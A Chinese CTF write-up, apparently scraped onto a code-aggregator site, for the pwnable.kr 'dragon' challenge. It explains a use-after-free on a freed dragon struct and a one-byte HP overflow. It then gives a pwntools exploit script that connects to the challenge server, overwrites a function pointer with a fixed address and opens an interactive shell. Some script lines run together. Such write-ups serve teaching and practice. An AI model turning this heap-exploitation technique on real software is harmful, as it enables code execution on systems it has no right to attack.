当前位置: 代码迷 >> 综合 >> pwnable[dragon](uaf)
  详细解决方案

pwnable[dragon](uaf)

热度:92   发布时间:2023-12-13 04:48:41.0

很有意思的一个题目,做成了一个打龙,要是有个图形界面就更有意思了。这个题出乎意料的地方是漏洞的地方仅仅是free了之后对里面的值再操作。我的思维总以为一定要free了之后再malloc才会有漏洞的。改掉这个思维定式。
分析开始。
0x01数据结构
在这里可以看出来
在这里插入图片描述
在这里插入图片描述
0x02漏洞分析
PriestAttack函数中无论杀没杀死龙都会把龙free
在这里插入图片描述
但是在这里继续使用了龙结构里面的值。
接下来就是屠龙了ennnnn。
在这里插入图片描述
这个是英雄和龙的状态表,粗略估计一下龙是打不死的。
看了一下结构,龙的生命值结构和英雄的不一样!
其中hp和生命回复是1个字节,生命值是可以加的,1英雄的技能相当于让龙加血,抗大龙的话1英雄能抗4次,12轮(3轮为一组大龙会打到身上一次)
80+12*4刚好128
在这里插入图片描述
龙的血等于0的时候就会返回
exp

from pwn import *
p=process("./dragon")
p=remote("pwnable.kr",9004)
#elf=ELF("./dragon")
context.log_level='debug'
p.recvuntil("[ 2 ] Knight")
p.sendline("1")
p.recvuntil("You Become Temporarily Invincible.\n")
p.sendline("1")
p.recvuntil("You Become Temporarily Invincible.\n")
p.sendline("1")
p.recvuntil("[ 2 ] Knight")p.sendline("1")
for i in range(4):p.recvuntil("You Become Temporarily Invincible.\n")p.sendline("3")p.recvuntil("You Become Temporarily Invincible.\n")p.sendline("3")p.recvuntil("You Become Temporarily Invincible.\n")p.sendline("2")p.recvuntil("The World Will Remember You As:\n")
p.sendline(p32(0x08048DBF))
p.recvuntil("Defeated Was Called:\n")
p.interactive()

总结:漏洞无处不在ennnnnnn